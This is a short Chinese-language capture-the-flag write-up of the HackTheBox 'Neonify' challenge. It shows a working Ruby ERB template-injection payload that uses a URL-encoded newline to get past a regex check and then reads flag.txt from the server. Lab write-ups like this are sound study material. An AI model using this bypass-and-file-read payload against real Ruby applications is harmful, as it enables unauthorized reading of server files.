# 信息收集

根本不会啊我真是日了狗了,只好去查资料

一个韩国姐姐是真的牛逼

原文地址:https://domdom.tistory.com/entry/Hackthebox-Neonify-Writeup%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4

SSTI 的详细讲解:https://www.anquanke.com/post/id/188172

查看源码是 Ruby SSTI

14 行使用了正则表达式进行检查

在第 15 行,可以看到 neon 参数的值绑定到名为 ERB 的 Ruby 模板,并呈现为名为 indexhtml 模板。

通过查阅资料可以查到 Ruby 读取文件的代码

<div>
  <%= File.read(filename) %>
</div>

# 构造攻击

通过小姐姐的笔记可以知道可以通过换行符 \n 的方式绕过正则表达式

当然小姐姐是通过读 Ruby 的文档,结合自己的经验尝试了 ^``$ 等常见的绕过方法后敲定的

那么我们直接提交 payload,URL 编码一下就能得到 flag

payload

<!-- 编码前 -->
a%0A<%= File.read(filename) %>
<!-- 编码后 -->
a%0A%3C%25%3D%20File.read('flag.txt')%20%25%3E


网页会直接返回 flag

flag: HTB{r3pl4c3m3n7_s3cur1ty}